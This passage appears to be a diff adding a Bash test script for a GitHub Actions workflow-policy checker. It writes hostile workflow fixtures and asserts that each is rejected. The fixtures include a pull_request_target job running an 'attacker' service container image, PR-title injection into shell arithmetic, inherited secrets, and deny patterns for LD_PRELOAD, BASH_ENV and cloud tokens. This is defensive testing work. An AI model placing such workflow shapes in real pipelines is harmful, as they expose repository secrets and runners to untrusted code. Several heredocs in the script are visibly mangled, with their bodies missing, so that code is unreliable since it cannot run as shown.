"${candidate_verifier}" +set +e +same_pr_authority_output="$("${checker_binary}" --scan-root "${candidate_root}" 2>&1)" +same_pr_authority_status=$? +set -e +if [[ "${same_pr_authority_status}" -eq 0 ]] || ! grep -Fq -- \ + "authority bundle cannot be staged and adopted in the same pull request" <<<"${same_pr_authority_output}"; then + echo "same-PR authority stage and adoption was not explicitly rejected" >&2 + printf '%s\n' "${same_pr_authority_output}" >&2 + exit 1 +fi + +# Once staging is trusted in the base, adoption realizes the staged bundle. +cp "${staged_authority}" "${archive_authority}" +"${archive_checker}" --scan-root "${candidate_root}" >/dev/null + +# Once the base realizes the staged bundle, promotion makes it solely active. +cp "${future_verifier}" "${archive_verifier}" +jq '.bundles = [(.bundles[] | select(.state == "staged") | .state = "active")]' \ + "${staged_authority}" >"${candidate_authority}" +"${archive_checker}" --scan-root "${candidate_root}" >/dev/null + +cp "${active_authority}" "${candidate_authority}" +cp "${active_verifier}" "${candidate_verifier}" +cp "${active_authority}" "${archive_authority}" +cp "${active_verifier}" "${archive_verifier}" + +(cd "${policytool}" && \ + "${checker_binary}" --scan-root "${candidate_root}" \ + "${ci_policy_args[@]}" ".github/workflows/ci.yml") + +printf 'name: Outside candidate root\n' >"${tmp_dir}/outside.yml" +set +e +relative_outside_output="$(cd "${policytool}" && \ + "${checker_binary}" --scan-root "${candidate_root}" \ + "${ci_policy_args[@]}" "../outside.yml" 2>&1)" +relative_outside_status=$? +set -e +if [[ "${relative_outside_status}" -eq 0 ]] || ! grep -Fq -- \ + "workflow path ../outside.yml is outside repository" <<<"${relative_outside_output}"; then + echo "relative workflow path escaped alternate scan root" >&2 + printf '%s\n' "${relative_outside_output}" >&2 + exit 1 +fi + +cat >"${candidate_root}/.github/workflows/candidate-live.yml" <<'YAML' +name: Candidate live cloud workflow +on: + pull_request: +defaults: + run: + shell: bash +jobs: + live: + runs-on: ubuntu-latest + steps: + - run: doctl compute droplet list +YAML +set +e +candidate_live_output="$("${checker_binary}" --scan-root "${candidate_root}" 2>&1)" +candidate_live_status=$? +set -e +if [[ "${candidate_live_status}" -eq 0 ]] || ! grep -Fq -- \ + "executable provider CLI doctl" <<<"${candidate_live_output}"; then + echo "same-PR policy and live workflow weakening bypassed trusted base enforcement" >&2 + printf '%s\n' "${candidate_live_output}" >&2 + exit 1 +fi +rm "${candidate_root}/.github/workflows/candidate-live.yml" + +cat >"${candidate_root}/.github/workflows/candidate-service.yml" <<'YAML' +name: Candidate service execution +on: pull_request_target +permissions: + contents: write +defaults: + run: + shell: bash +jobs: + service: + runs-on: ubuntu-latest + services: + attacker: + image: ghcr.io/example/attacker:latest + steps: + - run: '(( 1 ))' +YAML +set +e +candidate_service_output="$("${checker_binary}" --scan-root "${candidate_root}" 2>&1)" +candidate_service_status=$? +set -e +if [[ "${candidate_service_status}" -eq 0 ]] || ! grep -Fq -- \ + "declares forbidden job services" <<<"${candidate_service_output}"; then + echo "candidate service workflow bypassed trusted base enforcement" >&2 + printf '%s\n' "${candidate_service_output}" >&2 + exit 1 +fi +rm "${candidate_root}/.github/workflows/candidate-service.yml" + +cat >"${candidate_root}/.github/workflows/candidate-arithmetic.yml" <<'YAML' +name: Candidate arithmetic execution +on: pull_request_target +permissions: + contents: write +defaults: + run: + shell: bash +jobs: + arithmetic: + runs-on: ubuntu-latest + env: + X: ${{ github.event.pull_request.title }} + steps: + - run: '(( X ))' +YAML +set +e +candidate_arithmetic_output="$("${checker_binary}" --scan-root "${candidate_root}" 2>&1)" +candidate_arithmetic_status=$? +set -e +if [[ "${candidate_arithmetic_status}" -eq 0 ]] || ! grep -Fq -- \ + "executes unreviewed exact shell statement" <<<"${candidate_arithmetic_output}"; then + echo "candidate arithmetic workflow bypassed trusted base enforcement" >&2 + printf '%s\n' "${candidate_arithmetic_output}" >&2 + exit 1 +fi +rm "${candidate_root}/.github/workflows/candidate-arithmetic.yml" + +for inherited_shape in scalar mapping; do + candidate_inherit="${candidate_root}/.github/workflows/candidate-inherit.yml" + if [[ "${inherited_shape}" == scalar ]]; then + inherited_yaml=' secrets: inherit' + inherited_expected='inherits all job secrets' + else + inherited_yaml=$' secrets:\n token: inherit' + inherited_expected='maps inherited secret token' + fi + cat >"${candidate_inherit}" <&1)" + candidate_inherit_status=$? + set -e + if [[ "${candidate_inherit_status}" -eq 0 ]] || ! grep -Fq -- "${inherited_expected}" <<<"${candidate_inherit_output}"; then + echo "candidate ${inherited_shape} inherited-secret shape bypassed policy" >&2 + printf '%s\n' "${candidate_inherit_output}" >&2 + exit 1 + fi + rm "${candidate_inherit}" +done + +candidate_workflow_call="${candidate_root}/.github/workflows/candidate-workflow-call.yml" +cat >"${candidate_workflow_call}" <<'YAML' +name: Candidate reusable environment secret +on: + workflow_call: +jobs: + deploy: + runs-on: ubuntu-latest + environment: production + env: + DEPLOY_TOKEN: ${{ secrets.RELEASES_TOKEN }} + steps: + - run: echo reusable +YAML +set +e +candidate_workflow_call_output="$("${checker_binary}" --scan-root "${candidate_root}" 2>&1)" +candidate_workflow_call_status=$? +set -e +if [[ "${candidate_workflow_call_status}" -eq 0 ]] || ! grep -Fq -- \ + "public workflow references forbidden repository secret RELEASES_TOKEN" <<<"${candidate_workflow_call_output}"; then + echo "workflow_call environment secret bypassed public workflow policy" >&2 + printf '%s\n' "${candidate_workflow_call_output}" >&2 + exit 1 +fi +rm "${candidate_workflow_call}" + +for push_selector in branches tags; do + candidate_push_secret="${candidate_root}/.github/workflows/candidate-${push_selector}-secret.yml" + cat >"${candidate_push_secret}" <&1)" + candidate_push_status=$? + set -e + if [[ "${candidate_push_status}" -eq 0 ]] || ! grep -Fq -- \ + "public workflow references forbidden repository secret RELEASES_TOKEN" <<<"${candidate_push_output}"; then + echo "${push_selector} push repository secret bypassed public workflow policy" >&2 + printf '%s\n' "${candidate_push_output}" >&2 + exit 1 + fi + rm "${candidate_push_secret}" +done + +assert_exact_mutation_rejected() { + local label="$1" + local workflow="$2" + local sed_expression="$3" + local expected="$4" + mutated_workflow="${workflow}" + cp "${workflow}" "${mutation_backup}" + sed -i.bak -e "${sed_expression}" "${workflow}" + rm -f "${workflow}.bak" + set +e + local output + output="$("${checker_binary}" 2>&1)" + local status=$? + set -e + cp "${mutation_backup}" "${workflow}" + mutated_workflow="" + if [[ "${status}" -eq 0 ]] || ! grep -Fq -- "${expected}" <<<"${output}"; then + echo "exact workflow mutation was accepted: ${label}" >&2 + printf '%s\n' "${output}" >&2 + exit 1 + fi +} + +if grep_workflow_files -EnH -- \ + 'secrets\.|RELEASES_TOKEN|GOPRIVATE|x-access-token|repo_dispatch_token|repository-dispatch'; then + echo "pull_request-capable workflow retains repository-secret authority" >&2 + exit 1 +fi +assert_exact_mutation_rejected \ + "Go test trailing target" \ + "${repo_root}/.github/workflows/ci.yml" \ + 's|go test -v -race -coverprofile=coverage.out ./...|go test -v -race -coverprofile=coverage.out ./... ./config/...|' \ + "unreviewed exact statement containing go" +assert_exact_mutation_rejected \ + "GitHub release arguments" \ + "${repo_root}/.github/workflows/release.yml" \ + 's/--draft=false/--draft=true/' \ + "unreviewed exact statement containing gh" +assert_exact_mutation_rejected \ + "candidate fixed GitHub origin" \ + "${repo_root}/.github/workflows/public-workflow-policy.yml" \ + 's|https://github.com/\${CANDIDATE_REPOSITORY}.git|https://example.com/\${CANDIDATE_REPOSITORY}.git|' \ + "uses unreviewed exact action actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5" +assert_exact_mutation_rejected \ + "candidate credential isolation" \ + "${repo_root}/.github/workflows/public-workflow-policy.yml" \ + '/-c credential.helper=/d' \ + "uses unreviewed exact action actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5" +assert_exact_mutation_rejected \ + "candidate symlink rejection" \ + "${repo_root}/.github/workflows/public-workflow-policy.yml" \ + 's/find candidate -type l/find candidate -type f/' \ + "uses unreviewed exact action actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5" +assert_exact_mutation_rejected \ + "release ancestry command removed" \ + "${repo_root}/.github/workflows/release.yml" \ + '/git merge-base --is-ancestor/d' \ + "uses unreviewed exact action actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10" +assert_exact_mutation_rejected \ + "release ancestry ref changed" \ + "${repo_root}/.github/workflows/release.yml" \ + 's|refs/remotes/origin/main|refs/remotes/origin/release|g' \ + "uses unreviewed exact action actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10" +assert_exact_mutation_rejected \ + "dynamic trailing expression" \ + "${repo_root}/.github/workflows/ci.yml" \ + 's|go test -v -race -coverprofile=coverage.out ./...|go test -v -race -coverprofile=coverage.out ./... "${{ vars.EXTRA_TARGET }}"|' \ + "unreviewed exact statement containing go" +assert_exact_mutation_rejected \ + "workflow inherited safe environment" \ + "${repo_root}/.github/workflows/ci.yml" \ + 's/WFCTL_DIFFCACHE: ":memory:"/WFCTL_DIFFCACHE: ":disk:"/' \ + "uses unreviewed exact action actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10" +assert_exact_mutation_rejected \ + "approved local script working-directory" \ + "${repo_root}/.github/workflows/ci.yml" \ + $'s/ run: |/ working-directory: \/tmp\\\n run: |/g' \ + "declares forbidden working-directory" +assert_exact_mutation_rejected \ + "release trigger" \ + "${repo_root}/.github/workflows/release.yml" \ + 's/^ push:/ pull_request_target:/' \ + "uses unreviewed exact action actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10" +assert_exact_mutation_rejected \ + "job container" \ + "${repo_root}/.github/workflows/ci.yml" \ + $'s/ runs-on: ubuntu-latest/ runs-on: ubuntu-latest\\\n container: ghcr.io\/example\/attacker:latest/g' \ + "uses unreviewed exact action actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10" +assert_exact_mutation_rejected \ + "standalone builtin" \ + "${repo_root}/.github/workflows/ci.yml" \ + $'s/ run: |/ run: |\\\n set -x/g' \ + "unreviewed exact statement containing set" +assert_exact_mutation_rejected \ + "pull request repository secret" \ + "${repo_root}/.github/workflows/ci.yml" \ + 's/WFCTL_DIFFCACHE: ":memory:"/WFCTL_DIFFCACHE: ":memory:"\n PRIVATE_TOKEN: ${{ secrets.RELEASES_TOKEN }}/' \ + "public workflow references forbidden repository secret RELEASES_TOKEN" +assert_exact_mutation_rejected \ + "pull request target repository secret" \ + "${repo_root}/.github/workflows/ci.yml" \ + 's/pull_request:/pull_request_target:/; s/WFCTL_DIFFCACHE: ":memory:"/WFCTL_DIFFCACHE: ":memory:"\n PRIVATE_TOKEN: ${{ secrets.RELEASES_TOKEN }}/' \ + "public workflow references forbidden repository secret RELEASES_TOKEN" +assert_exact_mutation_rejected \ + "tag push repository secret" \ + "${repo_root}/.github/workflows/release.yml" \ + 's/TAG_NAME: \${{ github.ref_name }}/TAG_NAME: ${{ github.ref_name }}\n PRIVATE_TOKEN: ${{ secrets.RELEASES_TOKEN }}/' \ + "public workflow references forbidden repository secret RELEASES_TOKEN" +assert_exact_mutation_rejected \ + "push cloud secret" \ + "${repo_root}/.github/workflows/release.yml" \ + 's/TAG_NAME: \${{ github.ref_name }}/TAG_NAME: ${{ github.ref_name }}\n CLOUD_TOKEN: ${{ secrets.DIGITALOCEAN_TOKEN }}/' \ + "references known cloud secret DIGITALOCEAN_TOKEN" +assert_exact_mutation_rejected \ + "release tag shell interpolation" \ + "${repo_root}/.github/workflows/release.yml" \ + 's/${{ env.TAG_NAME }}/${{ github.ref_name }}/' \ + "executes unreviewed exact statement containing gh" + +for action_mutation in \ + '${{ vars.ACTION_REF }}' \ + 'actions/checkout@main' \ + 'actions/checkout@v4' \ + 'actions/checkout@0123456789012345678901234567890123456789'; do + expected="uses unreviewed exact action ${action_mutation}" + if [[ "${action_mutation}" == '${{ vars.ACTION_REF }}' ]]; then + expected="uses forbidden dynamic action ${action_mutation}" + fi + assert_exact_mutation_rejected \ + "action reference ${action_mutation}" \ + "${repo_root}/.github/workflows/ci.yml" \ + "s/actions\\/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10/${action_mutation//\//\\/}/g" \ + "${expected}" +done + +assert_exact_mutation_rejected \ + "upload-artifact path" \ + "${repo_root}/.github/workflows/ci.yml" \ + 's|path: ui/dist/|path: ui/other-dist/|' \ + "uses unreviewed exact action actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a" +assert_exact_mutation_rejected \ + "GitHub release environment" \ + "${repo_root}/.github/workflows/release.yml" \ + 's/GH_TOKEN: \${{ github.token }}/GH_TOKEN: ${{ secrets.RELEASES_TOKEN }}/' \ + "public workflow references forbidden repository secret RELEASES_TOKEN" +assert_exact_mutation_rejected \ + "mutable benchstat version" \ + "${repo_root}/.github/workflows/benchmark.yml" \ + 's|benchstat@v0.0.0-20260709024250-82a0b07e230d|benchstat@latest|' \ + 'executes categorically forbidden command go' + +pass_allowlist="${tmp_dir}/pass-allowlist.json" +pass_presence="${tmp_dir}/pass-presence.json" +pass_scan_root="${tmp_dir}/pass-scan-root" +pass_fixture_dir="${pass_scan_root}/.github/workflows/fixtures/public-workflow-policy" +mkdir -p "${pass_fixture_dir}" "${pass_scan_root}/scripts" +cp "${checker_binary}" "${pass_scan_root}/scripts/check-public-workflow-policy.sh" +cp \ + "${fixtures}/pass.yml" \ + "${fixtures}/pass-negative-guard.yml" \ + "${fixtures}/pass-expression-and-deny-guard.yml" \ + "${fixtures}/reject.yml" \ + "${pass_fixture_dir}/" +pass_workflow="${pass_fixture_dir}/pass.yml" +pass_negative_guard_workflow="${pass_fixture_dir}/pass-negative-guard.yml" +pass_expression_guard_workflow="${pass_fixture_dir}/pass-expression-and-deny-guard.yml" +reject_workflow="${pass_fixture_dir}/reject.yml" +for required_staged_path in \ + "${pass_workflow}" \ + "${pass_negative_guard_workflow}" \ + "${pass_expression_guard_workflow}" \ + "${reject_workflow}" \ + "${pass_scan_root}/scripts/check-public-workflow-policy.sh"; do + if [[ ! -f "${required_staged_path}" || -L "${required_staged_path}" ]]; then + echo "missing staged policy fixture dependency: ${required_staged_path}" >&2 + exit 1 + fi +done +cat >"${pass_presence}" <<'JSON' +[ + {"path":".github/workflows/fixtures/public-workflow-policy/pass.yml","contextSHA256":"304ae504129bf47e8740e781cb93d32228a86ff9447cd1836f4ad73df920260b","state":"active","presence":"present"}, + {"path":".github/workflows/fixtures/public-workflow-policy/pass-negative-guard.yml","contextSHA256":"83ba6760400ca021cbcfcf1df10cbf6bee795312632b1853da4167a1080a25f1","state":"active","presence":"present"}, + {"path":".github/workflows/fixtures/public-workflow-policy/pass-expression-and-deny-guard.yml","contextSHA256":"8efbd606ce583197947daf7d1c19795490827a2a2b5f6258adc9c0e5f19b70eb","state":"active","presence":"present"} +] +JSON +printf '[]\n' >"${pass_allowlist}" + +pass_commands="${tmp_dir}/pass-commands.json" +cat >"${pass_commands}" <<'JSON' +[ + { + "path": ".github/workflows/fixtures/public-workflow-policy/pass.yml", + "command": "go", + "statementSHA256": "5384574a39b2103666734bbe92565841174832d0b8865a6d5f521eb663438c51", + "contextSHA256": "304ae504129bf47e8740e781cb93d32228a86ff9447cd1836f4ad73df920260b", + "state": "active", "rationale": "Run the exact credential-free integration test fixture." + }, + { + "path": ".github/workflows/fixtures/public-workflow-policy/pass.yml", + "command": "go", + "statementSHA256": "1bb497e3e13a1105cf24e3359fa3ef75de08b66ff8a2839cd7f9ea97824d9eb3", + "contextSHA256": "304ae504129bf47e8740e781cb93d32228a86ff9447cd1836f4ad73df920260b", + "state": "active", "rationale": "Run the exact credential-free default Go test fixture." + }, + { + "path": ".github/workflows/fixtures/public-workflow-policy/pass.yml", + "command": "gh", + "statementSHA256": "0a111d913d8601e23bc6e43fa1b4b6a5fa65c44c342a26c23f10bf8fa119827a", + "contextSHA256": "304ae504129bf47e8740e781cb93d32228a86ff9447cd1836f4ad73df920260b", + "state": "active", "rationale": "Exercise the exact GitHub release upload fixture." + }, + {"path":".github/workflows/fixtures/public-workflow-policy/pass.yml","command":"echo","statementSHA256":"552ab348c73a453fe78c6df7a1b2cf0c8381dc11a20908a96a643105c8abfdc7","contextSHA256":"304ae504129bf47e8740e781cb93d32228a86ff9447cd1836f4ad73df920260b","state": "active", "rationale":"Exact rejection-guard echo statement."}, + {"path":".github/workflows/fixtures/public-workflow-policy/pass.yml","command":"exit","statementSHA256":"552ab348c73a453fe78c6df7a1b2cf0c8381dc11a20908a96a643105c8abfdc7","contextSHA256":"304ae504129bf47e8740e781cb93d32228a86ff9447cd1836f4ad73df920260b","state": "active", "rationale":"Exact rejection-guard exit statement."}, + {"path":".github/workflows/fixtures/public-workflow-policy/pass.yml","command":"rg","statementSHA256":"552ab348c73a453fe78c6df7a1b2cf0c8381dc11a20908a96a643105c8abfdc7","contextSHA256":"304ae504129bf47e8740e781cb93d32228a86ff9447cd1836f4ad73df920260b","state": "active", "rationale":"Exact rejection-guard search statement."}, + {"path":".github/workflows/fixtures/public-workflow-policy/pass.yml","command":"$assignment","statementSHA256":"df3893e5269970fcf8bb076be5b5f849eec4a7237b311ab4129af31b78271a09","contextSHA256":"304ae504129bf47e8740e781cb93d32228a86ff9447cd1836f4ad73df920260b","state": "active", "rationale":"Exact safe standalone assignment fixture."}, + { + "path": ".github/workflows/fixtures/public-workflow-policy/pass-expression-and-deny-guard.yml", + "command": "go", + "statementSHA256": "1bb497e3e13a1105cf24e3359fa3ef75de08b66ff8a2839cd7f9ea97824d9eb3", + "contextSHA256": "8efbd606ce583197947daf7d1c19795490827a2a2b5f6258adc9c0e5f19b70eb", + "state": "active", "rationale": "Run the exact credential-free Go test fixture." + }, + {"path":".github/workflows/fixtures/public-workflow-policy/pass-expression-and-deny-guard.yml","command":"echo","statementSHA256":"0d3a22321340ce7d2928c4f9b228a94c4ae2e00f5cd9482b48ed0d7b0f2aceab","contextSHA256":"8efbd606ce583197947daf7d1c19795490827a2a2b5f6258adc9c0e5f19b70eb","state": "active", "rationale":"Exact expression-guard echo statement."}, + {"path":".github/workflows/fixtures/public-workflow-policy/pass-expression-and-deny-guard.yml","command":"exit","statementSHA256":"0d3a22321340ce7d2928c4f9b228a94c4ae2e00f5cd9482b48ed0d7b0f2aceab","contextSHA256":"8efbd606ce583197947daf7d1c19795490827a2a2b5f6258adc9c0e5f19b70eb","state": "active", "rationale":"Exact expression-guard exit statement."}, + {"path":".github/workflows/fixtures/public-workflow-policy/pass-expression-and-deny-guard.yml","command":"rg","statementSHA256":"0d3a22321340ce7d2928c4f9b228a94c4ae2e00f5cd9482b48ed0d7b0f2aceab","contextSHA256":"8efbd606ce583197947daf7d1c19795490827a2a2b5f6258adc9c0e5f19b70eb","state": "active", "rationale":"Exact expression-guard search statement."}, + {"path":".github/workflows/fixtures/public-workflow-policy/pass-negative-guard.yml","command":"echo","statementSHA256":"16e6dfba0f3777c91b890a6aa03e083595250d63a6cc015886c4092caab0b07a","contextSHA256":"83ba6760400ca021cbcfcf1df10cbf6bee795312632b1853da4167a1080a25f1","state": "active", "rationale":"Exact negative-guard echo statement."}, + {"path":".github/workflows/fixtures/public-workflow-policy/pass-negative-guard.yml","command":"exit","statementSHA256":"16e6dfba0f3777c91b890a6aa03e083595250d63a6cc015886c4092caab0b07a","contextSHA256":"83ba6760400ca021cbcfcf1df10cbf6bee795312632b1853da4167a1080a25f1","state": "active", "rationale":"Exact negative-guard exit statement."}, + {"path":".github/workflows/fixtures/public-workflow-policy/pass-negative-guard.yml","command":"rg","statementSHA256":"16e6dfba0f3777c91b890a6aa03e083595250d63a6cc015886c4092caab0b07a","contextSHA256":"83ba6760400ca021cbcfcf1df10cbf6bee795312632b1853da4167a1080a25f1","state": "active", "rationale":"Exact negative-guard search statement."} +] +JSON + +pass_actions="${tmp_dir}/pass-actions.json" +cat >"${pass_actions}" <<'JSON' +[ + {"path":".github/workflows/fixtures/public-workflow-policy/pass.yml","uses":"actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5","nodeSHA256":"72a9f885834e7e7cfc170d24954ed15b9c11a222760a6b919510993561321f03","contextSHA256":"304ae504129bf47e8740e781cb93d32228a86ff9447cd1836f4ad73df920260b","state": "active", "rationale":"Exact immutable fixture action node."}, + {"path":".github/workflows/fixtures/public-workflow-policy/pass.yml","uses":"actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff","nodeSHA256":"4097668e631432c1244a4dd4d9557c50491bf42112c9ba85e62d3fcf637047d1","contextSHA256":"304ae504129bf47e8740e781cb93d32228a86ff9447cd1836f4ad73df920260b","state": "active", "rationale":"Exact immutable fixture action node."}, + {"path":".github/workflows/fixtures/public-workflow-policy/pass.yml","uses":"actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02","nodeSHA256":"0d8a6b42c70a0f3275850fe9d63cfb646c0a9e0d7f6ea1c8b45171a1076060b7","contextSHA256":"304ae504129bf47e8740e781cb93d32228a86ff9447cd1836f4ad73df920260b","state": "active", "rationale":"Exact immutable fixture action node."}, + {"path":".github/workflows/fixtures/public-workflow-policy/pass.yml","uses":"GoCodeAlone/setup-wfctl@bcd880980f5bbe8d192d0c20ff6279d25331f956","nodeSHA256":"93dce32c457545dd0624d77c36ec255298b321308974a9cf046e67691e5dd745","contextSHA256":"304ae504129bf47e8740e781cb93d32228a86ff9447cd1836f4ad73df920260b","state": "active", "rationale":"Exact immutable fixture action node."}, + {"path":".github/workflows/fixtures/public-workflow-policy/pass.yml","uses":"goreleaser/goreleaser-action@f06c13b6b1a9625abc9e6e439d9c05a8f2190e94","nodeSHA256":"e755472a8b992588d44f5bed60d0ebdf304a0854661bd6b598ca4f6bceafa4b9","contextSHA256":"304ae504129bf47e8740e781cb93d32228a86ff9447cd1836f4ad73df920260b","state": "active", "rationale":"Exact immutable fixture action node."} +] +JSON + +"${checker}" \ + --scan-root "${pass_scan_root}" \ + --presence-allowlist "${pass_presence}" \ + --allowlist "${pass_allowlist}" \ + --executable-allowlist "${pass_allowlist}" \ + --command-allowlist "${pass_commands}" \ + --action-allowlist "${pass_actions}" \ + "${pass_workflow}" \ + "${pass_negative_guard_workflow}" \ + "${pass_expression_guard_workflow}" + +mutated_workflow="${pass_workflow}" +cp "${mutated_workflow}" "${mutation_backup}" +sed -i.bak 's/SAFE_VALUE=one/SAFE_VALUE=two/' "${mutated_workflow}" +rm -f "${mutated_workflow}.bak" +set +e +assignment_mutation_output="$("${checker}" \ + --scan-root "${pass_scan_root}" \ + --presence-allowlist "${pass_presence}" \ + --allowlist "${pass_allowlist}" \ + --executable-allowlist "${pass_allowlist}" \ + --command-allowlist "${pass_commands}" \ + --action-allowlist "${pass_actions}" \ + "${pass_workflow}" \ + "${pass_negative_guard_workflow}" \ + "${pass_expression_guard_workflow}" 2>&1)" +assignment_mutation_status=$? +set -e +cp "${mutation_backup}" "${mutated_workflow}" +mutated_workflow="" +if [[ "${assignment_mutation_status}" -eq 0 ]] || ! grep -Fq -- \ + "executes unreviewed standalone assignment" <<<"${assignment_mutation_output}"; then + echo "safe assignment digest mutation was accepted" >&2 + printf '%s\n' "${assignment_mutation_output}" >&2 + exit 1 +fi + +set +e +yaml_structure_output="$("${checker}" \ + --allowlist "${empty_allowlist}" \ + "${fixtures}/reject-yaml-structure.yml" 2>&1)" +yaml_structure_status=$? +set -e +if [[ "${yaml_structure_status}" -eq 0 ]]; then + echo "expected YAML aliases and duplicate keys to fail policy" >&2 + exit 1 +fi +for expected in \ + "contains forbidden YAML alias" \ + "contains duplicate mapping key runs-on" \ + "contains duplicate mapping key run" \ + "contains duplicate mapping key uses" \ + "contains duplicate mapping key VALUE"; do + if ! grep -Fq -- "${expected}" <<<"${yaml_structure_output}"; then + echo "missing YAML structure diagnostic: ${expected}" >&2 + printf '%s\n' "${yaml_structure_output}" >&2 + exit 1 + fi +done + +statement_secret_allowlist="${tmp_dir}/statement-secret-allowlist.json" +cat >"${statement_secret_allowlist}" <<'JSON' +[ + { + "path": "scripts/fixtures/public-workflow-policy/reject-statement-authority.yml", + "secret": "RELEASES_TOKEN", + "state": "active", "rationale": "Mutation fixture proves exact statements reject secret output independently of secret-name review." + } +] +JSON +set +e +statement_output="$("${checker}" \ + --allowlist "${statement_secret_allowlist}" \ + "${fixtures}/reject-statement-authority.yml" 2>&1)" +statement_status=$? +set -e +if [[ "${statement_status}" -eq 0 ]]; then + echo "expected statement authority mutations to fail policy" >&2 + exit 1 +fi +for expected in \ + "unreviewed exact statement containing go" \ + "assigns forbidden execution environment variable PATH" \ + "assigns forbidden execution environment variable BASH_ENV" \ + "assigns forbidden execution environment variable ENV" \ + "assigns forbidden execution environment variable SHELLOPTS" \ + "assigns forbidden execution environment variable LD_PRELOAD" \ + "assigns forbidden execution environment variable DYLD_INSERT_LIBRARIES" \ + "assigns forbidden execution environment variable BASH_FUNC_wrapper%% through env" \ + "redirects to forbidden GitHub command file GITHUB_ENV" \ + "redirects to forbidden GitHub command file GITHUB_PATH" \ + "unreviewed exact statement containing echo" \ + "unreviewed exact statement containing printf" \ + "uses forbidden dynamic command execution"; do + if ! grep -Fq -- "${expected}" <<<"${statement_output}"; then + echo "missing statement authority diagnostic: ${expected}" >&2 + printf '%s\n' "${statement_output}" >&2 + exit 1 + fi +done + +set +e +execution_context_output="$("${checker}" \ + --allowlist "${empty_allowlist}" \ + "${fixtures}/reject-execution-context.yml" 2>&1)" +execution_context_status=$? +set -e +if [[ "${execution_context_status}" -eq 0 ]]; then + echo "expected working-directory and inherited environment overrides to fail policy" >&2 + exit 1 +fi +for expected in \ + "declares forbidden defaults.run.working-directory" \ + "declares forbidden working-directory" \ + "execution-affecting environment variable CC" \ + "execution-affecting environment variable GIT_CONFIG_GLOBAL" \ + "execution-affecting environment variable HOME" \ + "execution-affecting environment variable IFS" \ + "execution-affecting environment variable GOFLAGS" \ + "execution-affecting environment variable BASH_FUNC_WORKFLOW%%" \ + "execution-affecting environment variable BASH_FUNC_JOB%%" \ + "execution-affecting environment variable BASH_FUNC_STEP%%"; do + if ! grep -Fq -- "${expected}" <<<"${execution_context_output}"; then + echo "missing execution context diagnostic: ${expected}" >&2 + printf '%s\n' "${execution_context_output}" >&2 + exit 1 + fi +done + +reject_allowlist="${tmp_dir}/reject-allowlist.json" +reject_presence="${tmp_dir}/reject-presence.json" +printf '[{"path":".github/workflows/fixtures/public-workflow-policy/reject.yml","contextSHA256":"e604ecf5a5ac14b51f40aa220e0aa14aeef76f9ddf297b6b69002d155a1f1715","state":"active","presence":"present"}]\n' >"${reject_presence}" +cat >"${reject_allowlist}" <<'JSON' +[ + { + "path": ".github/workflows/fixtures/public-workflow-policy/reject.yml", + "contextSHA256": "e604ecf5a5ac14b51f40aa220e0aa14aeef76f9ddf297b6b69002d155a1f1715", + "secret": "DIGITALOCEAN_TOKEN", + "state": "active", "rationale": "A rationale must never make a known cloud credential acceptable." + }, + { + "path": ".github/workflows/fixtures/public-workflow-policy/reject.yml", + "contextSHA256": "e604ecf5a5ac14b51f40aa220e0aa14aeef76f9ddf297b6b69002d155a1f1715", + "secret": "DEPLOY_AUTH", + "state": "active", "rationale": "An alias must never hide provider authority from the policy." + }, + { + "path": ".github/workflows/fixtures/public-workflow-policy/reject.yml", + "contextSHA256": "e604ecf5a5ac14b51f40aa220e0aa14aeef76f9ddf297b6b69002d155a1f1715", + "secret": "STALE_TOKEN", + "state": "active", "rationale": "This deliberately stale exception proves fail-closed validation." + } +] +JSON + +set +e +reject_output="$("${checker}" \ + --scan-root "${pass_scan_root}" \ + --presence-allowlist "${reject_presence}" \ + --allowlist "${reject_allowlist}" \ + "${reject_workflow}" 2>&1)" +reject_status=$? +set -e + +if [[ "${reject_status}" -eq 0 ]]; then + echo "expected forbidden workflow fixture to fail policy" >&2 + exit 1 +fi + +for expected in \ + "self-hosted runner" \ + "id-token: write" \ + "known cloud secret DIGITALOCEAN_TOKEN" \ + "public workflow references forbidden repository secret DEPLOY_AUTH" \ + "provider authority with secret DEPLOY_AUTH" \ + "executable provider CLI doctl" \ + "fixed provider API api.digitalocean.com" \ + "provider SDK marker with provider authority" \ + "integration tag with provider authority" \ + "named live test" \ + "manual provider-authority job" \ + "scheduled provider-authority job" \ + "public workflow references forbidden repository secret UNREVIEWED_TOKEN" \ + "stale allowlist entry STALE_TOKEN"; do + if ! grep -Fq -- "${expected}" <<<"${reject_output}"; then + echo "missing expected policy diagnostic: ${expected}" >&2 + printf '%s\n' "${reject_output}" >&2 + exit 1 + fi +done + +executable_escape="${pass_scan_root}/executable-escape.sh" +ln -s /dev/null "${executable_escape}" +executable_escape_rel="${executable_escape#"${pass_scan_root}/"}" +invalid_executables="${tmp_dir}/invalid-executables.json" +negative_presence="${tmp_dir}/negative-presence.json" +printf '[{"path":".github/workflows/fixtures/public-workflow-policy/pass-negative-guard.yml","contextSHA256":"83ba6760400ca021cbcfcf1df10cbf6bee795312632b1853da4167a1080a25f1","state":"active","presence":"present"}]\n' >"${negative_presence}" +cat >"${invalid_executables}" <&1)" +executable_integrity_status=$? +set -e +for expected in \ + "executable hash mismatch for scripts/check-public-workflow-policy.sh" \ + "stale executable allowlist entry scripts/check-public-workflow-policy.sh" \ + "executable allowlist path ../escape.sh escapes the repository" \ + "resolves outside repository"; do + if [[ "${executable_integrity_status}" -eq 0 ]] || ! grep -Fq -- "${expected}" <<<"${executable_integrity_output}"; then + echo "missing expected executable integrity diagnostic: ${expected}" >&2 + printf '%s\n' "${executable_integrity_output}" >&2 + exit 1 + fi +done + +set +e +permissions_output="$(TMPDIR="${tmp_dir}" "${checker}" \ + --allowlist "${empty_allowlist}" \ + "${fixtures}/reject-permissions.yml" 2>&1)" +permissions_status=$? +set -e + +if [[ "${permissions_status}" -eq 0 ]]; then + echo "expected unsafe permission shapes to fail policy" >&2 + exit 1 +fi +# The GitHub expression below is an 